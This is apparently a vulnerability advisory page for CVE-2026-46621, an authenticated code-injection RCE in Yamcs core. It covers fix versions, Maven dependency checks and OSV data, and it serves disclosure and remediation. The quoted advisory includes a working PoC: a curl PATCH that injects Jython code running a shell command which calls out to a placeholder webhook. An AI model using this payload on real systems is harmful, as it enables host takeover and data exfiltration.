CVE-2026-46621: Yamcs core Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-2g95-6x5q-xjwj
CVSS 9.1
CWE-94
Published
Advisory Summary

CVE-2026-46621 is a CRITICAL (CVSS 9.1) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Yamcs core libraries in the Maven ecosystem. The issue involves yamcs vulnerable to authenticated remote code execution (rce) via jython algorithm code injection. Remediation is available by upgrading affected packages to version 5.12.7.

CVE-2026-46621 at a Glance

CVE Identifier CVE-2026-46621
GHSA Identifier GHSA-2g95-6x5q-xjwj
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Yamcs core
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-46621

To remediate this vulnerability, upgrade all affected Yamcs core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

org.yamcs:yamcs-core fixed: 5.12.7
<dependency>
    <groupId>org.yamcs</groupId>
    <artifactId>yamcs-core</artifactId>
    <version>5.12.7</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=org.yamcs

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2026-46621, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=org.yamcs

Analyze the terminal output to locate any version of Yamcs core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.12.7), your application is affected.

Note: The mvn dependency:tree -Dincludes=org.yamcs command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Yamcs core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the `ChangeMissionDatabase` privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system. ### Details The vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (`/api/mdb/{instance}/realtime/algorithms/{name}`), the `AlgorithmManager` uses the `ScriptAlgorithmExecutorFactory` to instantiate a JSR-223 `ScriptEngine` (in this case, Jython/Python). Because Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as `java.lang.Runtime`. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands. ### PoC **Prerequisites:** 1. A running Yamcs instance with the Jython engine available in its classpath (e.g., `jython-standalone` dependency included). 2. An active authentication token for a user with the `SystemPrivilege.ChangeMissionDatabase` privilege. 3. An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to `python` (e.g., a custom `poc` algorithm). *Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.* **Exploitation Steps:** 1. Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages `java.lang.Runtime` to execute an OS command (e.g., triggering an external webhook or a reverse shell). ```bash curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \ -d '{ "action": "SET", "algorithm": { "text": "import java.lang.Runtime\njava.lang.Runtime.getRuntime().exec([\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/RCE\"])\nout0.value = 1.0" } }' ``` *(Note: Assigning a valid output like `out0.value = 1.0` ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).* 2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the `simulator.py` script to update the required parameters like `Sunsensor`). 3. The Yamcs server compiles the injected text into an executable script on the fly. 4. Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL. ### Impact It impacts any Yamcs deployment where users are granted the `ChangeMissionDatabase` privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure. ### Credits Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.

CVE-2026-46621 Affected Yamcs core Versions

1 component(s)
Fixed Versions:
5.12.7
Product / Package Ecosystem Affected Versions Fixed Version
org.yamcs:yamcs-core
Maven
< 5.12.7
5.12.7

References

Frequently Asked Questions

What is CVE-2026-46621?
CVE-2026-46621 is a security vulnerability in Yamcs core involving Yamcs Vulnerable to Authenticated Remote Code Execution (RCE) via Jython Algorithm Code Injection under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Yamcs core versions are affected?
Affected versions include releases prior to 5.12.7 across affected packages: org.yamcs:yamcs-core.
What version fixes CVE-2026-46621?
Upgrading to 5.12.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is yamcs-core affected?
Yes, org.yamcs:yamcs-core is affected in releases prior to 5.12.7. Upgrade your dependency to 5.12.7 or later.
What is the CVSS score of CVE-2026-46621?
CVE-2026-46621 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-46621?
CVE-2026-46621 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Maven dependencies for CVE-2026-46621?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.yamcs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2g95-6x5q-xjwj",
  "modified" : "2026-05-27T22:49:25Z",
  "published" : "2026-05-27T22:49:25Z",
  "aliases" : [ "CVE-2026-46621" ],
  "summary" : "Yamcs Vulnerable to Authenticated Remote Code Execution (RCE) via Jython Algorithm Code Injection",
  "details" : "### Summary\nA Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the `ChangeMissionDatabase` privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.\n\n### Details\nThe vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (`/api/mdb/{instance}/realtime/algorithms/{name}`), the `AlgorithmManager` uses the `ScriptAlgorithmExecutorFactory` to instantiate a JSR-223 `ScriptEngine` (in this case, Jython/Python). \n\nBecause Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as `java.lang.Runtime`. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.\n\n### PoC\n\n**Prerequisites:**\n1. A running Yamcs instance with the Jython engine available in its classpath (e.g., `jython-standalone` dependency included).\n2. An active authentication token for a user with the `SystemPrivilege.ChangeMissionDatabase` privilege.\n3. An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to `python` (e.g., a custom `poc` algorithm). *Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.*\n\n**Exploitation Steps:**\n\n1. Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages `java.lang.Runtime` to execute an OS command (e.g., triggering an external webhook or a reverse shell).\n\n    ```bash\n    curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \\\n         -H 'Content-Type: application/json' \\\n         -H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \\\n         -d '{\n           \"action\": \"SET\",\n           \"algorithm\": {\n             \"text\": \"import java.lang.Runtime\\njava.lang.Runtime.getRuntime().exec([\\\"bash\\\", \\\"-c\\\", \\\"curl https://<YOUR-WEBHOOK-URL>/RCE\\\"])\\nout0.value = 1.0\"\n           }\n         }'\n    ```\n\n    *(Note: Assigning a valid output like `out0.value = 1.0` ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).*\n\n2. Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the `simulator.py` script to update the required parameters like `Sunsensor`).\n\n3. The Yamcs server compiles the injected text into an executable script on the fly.\n\n4. Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.\n\n### Impact\nIt impacts any Yamcs deployment where users are granted the `ChangeMissionDatabase` privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.\n\n### Credits\nDiscovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.yamcs:yamcs-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.12.7"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/yamcs/yamcs/security/advisories/GHSA-2g95-6x5q-xjwj"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/yamcs/yamcs"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-27T22:49:25Z",
    "nvd_published_at" : null
  }
}